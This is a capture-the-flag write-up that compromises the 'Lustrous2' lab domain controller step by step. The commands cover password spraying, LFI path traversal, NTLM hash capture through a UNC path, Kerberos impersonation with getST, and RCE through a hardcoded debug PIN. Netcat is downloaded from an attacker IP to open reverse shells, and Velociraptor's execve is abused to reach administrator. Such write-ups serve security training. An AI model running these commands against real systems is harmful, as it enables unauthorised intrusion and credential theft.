TCP Scan#

ip=10.129.234.58
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

We can also observe the usual Windows Domain Controller ports (53, 88, 464, 593, 3268, 3269), along with common Windows service ports such as 135, 139, and 445. However, We can also see that FTP is running on port 21, and that ADWS is running on port 9389. Additionally, port 80 is open and running an IIS web server. The scan also reveals the domain name Lustrous2.vl as well as the domain controller name:

let’s add them to our /etc/hosts file :

echo "$ip Lustrous2.vl LUS2DC.Lustrous2.vl" | sudo tee -a /etc/hosts

Enumerating FTP#

Since FTP is open, I decided to start with it. Netexec confirmed that anonymous login is allowed, so I connected using anonymous as the username and left the password empty (you can enter anything there). Inside, I found a bunch of directories, so I exited and decided to download them recursively to my attack host to make enumeration easier:

nxc ftp Lustrous2.vl -u '' -p ''

ftp Lustrous2.vl

wget -m -nH --cut-dirs=0 --no-passive-ftp --user=anonymous --password=anonymous ftp://Lustrous2.vl/

After running for a while and downloading everything it could, we can see that most directories are empty except for Homes, which contains subdirectories that appear to belong to users on the system and ITSEC which has an audit draft:

First, let’s make a usernames list out of the folders in the /HOMES directory and save it for later:

cat ../../wordlists/lustrousUsernames.list

In the audit report draft, we can see that they have addressed a few issues. However, they are still dealing with weak user passwords, which we might be able to leverage in a password spraying attack using our usernames list:

Now we know that one of the users we’ve collected might be using a ridiculously simple password, but relying on luck and manual guessing isn’t practical. So, let’s automate the process using Elpscrk. I’ll provide it with the name of the box along with “2024” the year the box was originally released on VulnLab. This generates a list of 52 potential passwords:

python3 elpscrk.py

To automate the process, I created a small Bash script that acts as a wrapper around kerbrute’s password spraying functionality. It feeds a new password in each iteration:

#!/bin/bash

USERNAME_LIST="wordlists/lustrousUsernames.list"
PASSWORD_LIST="wordlists/lustrousPossiblePasswords.list"
DOMAIN="Lustrous2.vl"
DC="LUS2DC.Lustrous2.vl"
DELAY=1000

while IFS= read -r password; do
    echo "Spraying password: $password"
    kerbrute passwordspray -d "$DOMAIN" --dc "$DC" "$USERNAME_LIST" "$password" --verbose --delay "$DELAY"
    echo "Completed spray for $password"
    sleep 1
done < "$PASSWORD_LIST"
fi

After running for a little while we get our first set of working credentials:

Thomas.Myers:Lustrous2024

Since NTLM authentication is disabled, we need to configure our kerberos to access those services, first let’s sync the time with the DC:

sudo ntpdate Lustrous2.vl

sudo nxc smb LUS2DC.Lustrous2.vl --generate-krb5-file /etc/krb5.conf -k

We can see that our configuration file was generated successfully:

Lets export it then request a TGT:

export KRB5_CONFIG=/etc/krb5.conf

impacket-getTGT 'Lustrous2.vl/Thomas.Myers:Lustrous2024'

export KRB5CCNAME=Thomas.Myers.ccache

LFI in the /download endpoint#

If we check the response, we see a link tied to a button for downloading a file named audit.txt, which is likely the same one we encountered earlier:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl -v

We see that we can download it:

Since file downloads are usually vulnerable to LFI, I tested for it and found out that it’s indeed vulnerable:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../../../Windows/win.ini

One thing I like to do when I discover an LFI vulnerability is check for the server’s configuration file. According to Microsoft documentation, it’s typically stored as web.config in the application’s root directory:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config

In the file, we can see that the application runs a DLL located in the same directory, and it also specifies the location of the log files:

Reversing the LuShare.dll file:#

Let’s download the .dll file:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll --output LuShare.dll

After downloading it, I opened it in ILSpy to inspect its contents. The code isn’t obfuscated, and within the controllers, we can see that aside from the download feature we’ve been using so far, there are two additional features: Upload and Debug. However, both are only accessible to members of the ShareAdmins group:

Just out of curiosity, I checked out the /download endpoint to understand why it’s vulnerable to LFI. Usually, such vulnerabilities stem from misconfigurations in the input sanitizer, but in this case, there’s no sanitization happening at all:

The upload() function seems pretty standard:

In the debug() function, we see that it takes two parameters: a command and a PIN. If the correct PIN is provided, it creates a PowerShell session, executes the command, and returns its output. Strangely enough, the PIN is hardcoded, and we can clearly see its value:

pin:ba45c518

Our path forward seems clear: first, we need to identify who’s in the ShareAdmins group, gain access to one of their accounts, then use that to authenticate and exploit the RCE. I checked BloodHound and found two members Ryan.Davies and Sharon.Birch neither of whom has a direct connection to thomas.myers:

Getting ShareSvc credentials via NTLM Relay#

I queried their accounts with ldapsearch but didn’t find any plaintext credentials like in previous boxes, so it’s time to go kinetic. First, let’s see if we can trick the user running the app (probably ShareSvc) into leaking their NTLM hash by making them read a file from our fake share:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=//10.10.16.28/frenzy/gimmeHash

I copied the hash to a file and then fed it to Hashcat, which cracked it in no time:

sharesvc:'#1Service'

After waiting a while and repeating the process to see if we could capture more hashes, especially from either of the two users in the SHAREADMINS group, we still came up empty. These two users are the only ones with access to the debug and upload features, yet oddly, the service account running the application has no direct link to the group or its members, nor any obvious attack paths. I confirmed this by resetting the machine, pulling the data again, and checking the GPOs, but still found nothing.

Since the application uses Kerberos for authentication, it’s likely that these users are configured for either constrained or unconstrained delegation. Looking back at the audit file we pulled from the FTP share, we noticed an entry about SeImpersonate. The wording was odd at first, it seemed like they had disabled it to mitigate security risks. But with my current theory about how the application works, it now seems more likely that they enabled it to allow those two users to authenticate to the application.

With that in mind, let’s try using the sharesvc credentials to request a valid service ticket for one of them:

Abusing Unconstrained Delegations:#

sudo ntpdate Lustrous2.vl
impacket-getTGT 'Lustrous2.vl/sharesvc:#1Service'
export KRB5CCNAME=sharesvc.ccache

impacket-getST -self -impersonate 'Sharon.Birch' -k 'LUSTROUS2.VL/sharesvc:#1Service' -altservice 'HTTP/lus2dc.lustrous2.vl'

export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Upload -I 

curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug -I 

Impersonating Ryan.Davies:#

We’ll do the same to ryan:

impacket-getST -self -impersonate 'ryan.davies' -k 'LUSTROUS2.VL/sharesvc:#1Service' -altservice 'HTTP/lus2dc.lustrous2.vl'

export KRB5CCNAME=ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Upload -I 

curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug -I 

We have access with their account as well:

RCE through the /File/Debug endpoint:#

According to the code, we can execute commands by sending a POST request to the /File/Debug endpoint, including the command and the PIN as parameters. To test this, I crafted the following curl command, and after executing it we see that indeed we have code execution on target:

curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=whoami /priv" -d "pin=ba45c518" -s

Shell as: Ryan.Davis#

Finally, a big win on this box. Let’s go for a reverse shell first, we’ll upload Netcat:

curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=iwr http://10.10.16.28:6695/nc64.exe -outfile \temp\nc.exe" -d "pin=ba45c518" -s

Then execute it to get our reverse shell:

curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=/temp/nc.exe 10.10.16.28 6666 -e powershell" -d "pin=ba45c518" -s

Now we can grab the flag. Instead of being in the current user’s Desktop directory, it’s placed in the root directory under a different username than usual likely to ensure that everyone goes through the reverse shell step to read it, rather than grabbing it early through LFI:

Abusing Velociraptor for Command Execution#

During the enumeration phase in BloodHound, we discovered that the system has over 70 users. Strangely, however, only the Administrator account has a home directory:

If we check our current user’s privileges, we notice an unusual one: SeAuditPrivilege. Even though it’s disabled, its presence suggests that the system might be running some sort of auditing service:

In the root directory, we see an unusual folder named datastore:

Looking through it, we find a database file for VelociraptorServer:

A quick google search reveals that Velociraptor is an open-source, cross-platform, and lightweight endpoint monitoring and digital forensics tool.

This confirms that the program is available on the target:

In the server directory, we see the executable as well as two configuration files:

In the server configuration file, we see a user named admin, which is likely how the administrator is running Velociraptor:

In the server documentation they explain that velociraptor runs over the gRPC streaming server:

We also see that the traffic between the clients and the server is encrypted using certificates, whose private keys are stored in the server configuration files:

The docs also recommend removing the private keys section from the server configuration file to prevent attackers from abusing them, which wasn’t done in our case:

But none of this helps us elevate privileges to administrator, so I dug deeper into the documentation and discovered that Velociraptor includes a code execution module that calls the execve() syscall directly with the arguments we provide:

Which we can call by:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])"

We can also see how configuration files can be created for clients, whether they are regular users or administrators:

Shell as Administrator:#

Putting it all together, our attack chain is straightforward:

• Generate an administrator configuration file.
• Use it to execute commands as the administrator, thereby obtaining a reverse shell.

So, let’s generate the config file:

.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client --name admin --role administrator \programdata\administrator.config.yaml

We do encounter a few “Access is denied” errors, but it looks like the file was successfully generated. Fingers crossed 🤞 it’s complete and not just a partial configuration file:

To test it, I passed the generated administrator config file to the command from earlier, and it confirmed that we have RCE as administrator:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\administrator.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])"

Let’s reuse the Netcat command from earlier to get a reverse shell as administrator:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\administrator.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','/temp/nc.exe 10.10.16.28 6660 -e powershell'])"

Now, we can collect the root flag: